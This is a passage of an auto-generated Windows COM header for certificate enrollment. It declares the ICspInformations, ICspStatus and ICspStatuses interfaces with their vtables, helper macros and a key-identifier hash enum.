get_IsRemovable(This,pValue) ) \n\n#define ICspInformation_get_IsSoftwareDevice(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_IsSoftwareDevice(This,pValue) ) \n\n#define ICspInformation_get_Valid(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Valid(This,pValue) ) \n\n#define ICspInformation_get_MaxKeyContainerNameLength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MaxKeyContainerNameLength(This,pValue) ) \n\n#define ICspInformation_get_Name(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Name(This,pValue) ) \n\n#define ICspInformation_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define ICspInformation_get_Version(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Version(This,pValue) ) \n\n#define ICspInformation_get_KeySpec(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeySpec(This,pValue) ) \n\n#define ICspInformation_get_IsSmartCard(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_IsSmartCard(This,pValue) ) \n\n#define ICspInformation_GetDefaultSecurityDescriptor(This,MachineContext,pValue)\t\\\n    ( (This)->lpVtbl -> GetDefaultSecurityDescriptor(This,MachineContext,pValue) ) \n\n#define ICspInformation_get_LegacyCsp(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_LegacyCsp(This,pValue) ) \n\n#define ICspInformation_GetCspStatusFromOperations(This,pAlgorithm,Operations,ppValue)\t\\\n    ( (This)->lpVtbl -> GetCspStatusFromOperations(This,pAlgorithm,Operations,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICspInformation_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICspInformations_INTERFACE_DEFINED__\n#define __ICspInformations_INTERFACE_DEFINED__\n\n/* interface ICspInformations */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICspInformations;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab308-217d-11da-b2a4-000e7bbb2b09\")\n    ICspInformations : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformation **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ICspInformation *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE AddAvailableCsps( void) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByName( \n            /* [in] */ __RPC__in BSTR strName,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformation **ppCspInformation) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE GetCspStatusFromProviderName( \n            /* [in] */ __RPC__in BSTR strProviderName,\n            /* [in] */ X509KeySpec LegacyKeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE GetCspStatusesFromOperations( \n            /* [in] */ AlgorithmOperationFlags Operations,\n            /* [in] */ __RPC__in_opt ICspInformation *pCspInformation,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetEncryptionCspAlgorithms( \n            /* [in] */ __RPC__in_opt ICspInformation *pCspInformation,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithms **ppValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetHashAlgorithms( \n            /* [in] */ __RPC__in_opt ICspInformation *pCspInformation,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICspInformationsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICspInformations * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICspInformations * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICspInformations * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICspInformations * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformation **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICspInformations * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICspInformations * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in_opt ICspInformation *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICspInformations * This);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *AddAvailableCsps )( \n            __RPC__in ICspInformations * This);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByName )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in BSTR strName,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformation **ppCspInformation);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *GetCspStatusFromProviderName )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in BSTR strProviderName,\n            /* [in] */ X509KeySpec LegacyKeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *GetCspStatusesFromOperations )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ AlgorithmOperationFlags Operations,\n            /* [in] */ __RPC__in_opt ICspInformation *pCspInformation,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetEncryptionCspAlgorithms )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in_opt ICspInformation *pCspInformation,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithms **ppValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetHashAlgorithms )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in_opt ICspInformation *pCspInformation,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        END_INTERFACE\n    } ICspInformationsVtbl;\n\n    interface ICspInformations\n    {\n        CONST_VTBL struct ICspInformationsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICspInformations_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICspInformations_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICspInformations_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICspInformations_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICspInformations_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICspInformations_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICspInformations_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICspInformations_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICspInformations_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICspInformations_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ICspInformations_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICspInformations_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICspInformations_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ICspInformations_AddAvailableCsps(This)\t\\\n    ( (This)->lpVtbl -> AddAvailableCsps(This) ) \n\n#define ICspInformations_get_ItemByName(This,strName,ppCspInformation)\t\\\n    ( (This)->lpVtbl -> get_ItemByName(This,strName,ppCspInformation) ) \n\n#define ICspInformations_GetCspStatusFromProviderName(This,strProviderName,LegacyKeySpec,ppValue)\t\\\n    ( (This)->lpVtbl -> GetCspStatusFromProviderName(This,strProviderName,LegacyKeySpec,ppValue) ) \n\n#define ICspInformations_GetCspStatusesFromOperations(This,Operations,pCspInformation,ppValue)\t\\\n    ( (This)->lpVtbl -> GetCspStatusesFromOperations(This,Operations,pCspInformation,ppValue) ) \n\n#define ICspInformations_GetEncryptionCspAlgorithms(This,pCspInformation,ppValue)\t\\\n    ( (This)->lpVtbl -> GetEncryptionCspAlgorithms(This,pCspInformation,ppValue) ) \n\n#define ICspInformations_GetHashAlgorithms(This,pCspInformation,ppValue)\t\\\n    ( (This)->lpVtbl -> GetHashAlgorithms(This,pCspInformation,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICspInformations_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICspStatus_INTERFACE_DEFINED__\n#define __ICspStatus_INTERFACE_DEFINED__\n\n/* interface ICspStatus */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICspStatus;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab309-217d-11da-b2a4-000e7bbb2b09\")\n    ICspStatus : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt ICspInformation *pCsp,\n            /* [in] */ __RPC__in_opt ICspAlgorithm *pAlgorithm) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Ordinal( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Ordinal( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CspAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithm **ppValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CspInformation( \n            /* [retval][out] */ __RPC__deref_out_opt ICspInformation **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EnrollmentStatus( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_DisplayName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICspStatusVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICspStatus * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICspStatus * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICspStatus * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICspStatus * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICspStatus * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICspStatus * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICspStatus * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICspStatus * This,\n            /* [in] */ __RPC__in_opt ICspInformation *pCsp,\n            /* [in] */ __RPC__in_opt ICspAlgorithm *pAlgorithm);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Ordinal )( \n            __RPC__in ICspStatus * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Ordinal )( \n            __RPC__in ICspStatus * This,\n            /* [in] */ LONG Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspAlgorithm )( \n            __RPC__in ICspStatus * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithm **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformation )( \n            __RPC__in ICspStatus * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentStatus )( \n            __RPC__in ICspStatus * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_DisplayName )( \n            __RPC__in ICspStatus * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICspStatusVtbl;\n\n    interface ICspStatus\n    {\n        CONST_VTBL struct ICspStatusVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICspStatus_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICspStatus_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICspStatus_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICspStatus_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICspStatus_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICspStatus_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICspStatus_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICspStatus_Initialize(This,pCsp,pAlgorithm)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pCsp,pAlgorithm) ) \n\n#define ICspStatus_get_Ordinal(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Ordinal(This,pValue) ) \n\n#define ICspStatus_put_Ordinal(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Ordinal(This,Value) ) \n\n#define ICspStatus_get_CspAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspAlgorithm(This,ppValue) ) \n\n#define ICspStatus_get_CspInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformation(This,ppValue) ) \n\n#define ICspStatus_get_EnrollmentStatus(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentStatus(This,ppValue) ) \n\n#define ICspStatus_get_DisplayName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_DisplayName(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICspStatus_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICspStatuses_INTERFACE_DEFINED__\n#define __ICspStatuses_INTERFACE_DEFINED__\n\n/* interface ICspStatuses */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICspStatuses;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab30a-217d-11da-b2a4-000e7bbb2b09\")\n    ICspStatuses : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ICspStatus *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual /* [helpstring][custom][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByName( \n            /* [in] */ __RPC__in BSTR strCspName,\n            /* [in] */ __RPC__in BSTR strAlgorithmName,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n        virtual /* [helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByOrdinal( \n            /* [in] */ LONG Ordinal,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n        virtual /* [helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByOperations( \n            /* [in] */ __RPC__in BSTR strCspName,\n            /* [in] */ __RPC__in BSTR strAlgorithmName,\n            /* [in] */ AlgorithmOperationFlags Operations,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n        virtual /* [helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByProvider( \n            /* [in] */ __RPC__in_opt ICspStatus *pCspStatus,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICspStatusesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICspStatuses * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICspStatuses * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICspStatuses * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICspStatuses * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICspStatuses * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICspStatuses * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ __RPC__in_opt ICspStatus *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICspStatuses * This);\n        \n        /* [helpstring][custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByName )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ __RPC__in BSTR strCspName,\n            /* [in] */ __RPC__in BSTR strAlgorithmName,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        /* [helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByOrdinal )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ LONG Ordinal,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        /* [helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByOperations )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ __RPC__in BSTR strCspName,\n            /* [in] */ __RPC__in BSTR strAlgorithmName,\n            /* [in] */ AlgorithmOperationFlags Operations,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        /* [helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByProvider )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ __RPC__in_opt ICspStatus *pCspStatus,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        END_INTERFACE\n    } ICspStatusesVtbl;\n\n    interface ICspStatuses\n    {\n        CONST_VTBL struct ICspStatusesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICspStatuses_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICspStatuses_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICspStatuses_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICspStatuses_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICspStatuses_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICspStatuses_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICspStatuses_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICspStatuses_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICspStatuses_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICspStatuses_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ICspStatuses_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICspStatuses_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICspStatuses_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ICspStatuses_get_ItemByName(This,strCspName,strAlgorithmName,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByName(This,strCspName,strAlgorithmName,ppValue) ) \n\n#define ICspStatuses_get_ItemByOrdinal(This,Ordinal,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByOrdinal(This,Ordinal,ppValue) ) \n\n#define ICspStatuses_get_ItemByOperations(This,strCspName,strAlgorithmName,Operations,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByOperations(This,strCspName,strAlgorithmName,Operations,ppValue) ) \n\n#define ICspStatuses_get_ItemByProvider(This,pCspStatus,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByProvider(This,pCspStatus,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICspStatuses_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0011 */\n/* [local] */ \n\ntypedef \nenum KeyIdentifierHashAlgorithm\n    {\tSKIHashDefault\t= 0,\n\tSKIHashSha1\t= 1,\n\tSKIHashCapiSha1\t= 2\n    } \tKeyIdentifierHashAlgorithm;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0011_v0_0_c_ifspec;\nextern RPC_IF_HANDLE 